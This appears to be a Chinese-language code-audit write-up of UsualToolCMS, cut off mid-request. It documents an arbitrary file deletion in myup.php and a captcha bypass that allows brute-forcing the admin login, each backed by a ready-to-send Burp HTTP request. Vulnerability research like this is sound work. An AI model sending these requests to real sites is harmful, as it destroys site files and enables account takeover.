Uscms代码审计
0x01 第一处:前台任意文件删除 漏洞信息:前台myup.php文件最后一段存在任意文件删除 代码:
漏洞点:http://xxx/myup.php
第47行只对..做了过滤,我仍然能任意删除网站内的文件,直接构造poc,
Burp POC:
POST /UsualToolCMS/myup.php HTTP/1.1 Host: 192.168.235.242 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate DNT: 1 X-Forwarded-For: 8.8.8.8 Connection: close Upgrade-Insecure-Requests: 1 Content-Type: application/x-www-form-urlencoded Content-Length: 25 get=delimg&imgurl=./1.php 0x02 绕过后台验证码爆破 漏洞点:http://xxx.xxx.xxx.xxx/cmsadmin/ 后台登陆时默认需要输入验证码,但是当我把验证码的参数ucode删除时,登陆依然成功
1.默认情况下登陆数据包
删除ucode参数和cookie后登陆,直接登陆成功
通过burp爆破后台密码
POST /UsualToolCMS/cmsadmin/a_login.php?do=login HTTP/1.1 Host: 192.168.235.242 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate DNT: 1 Referer: http://192.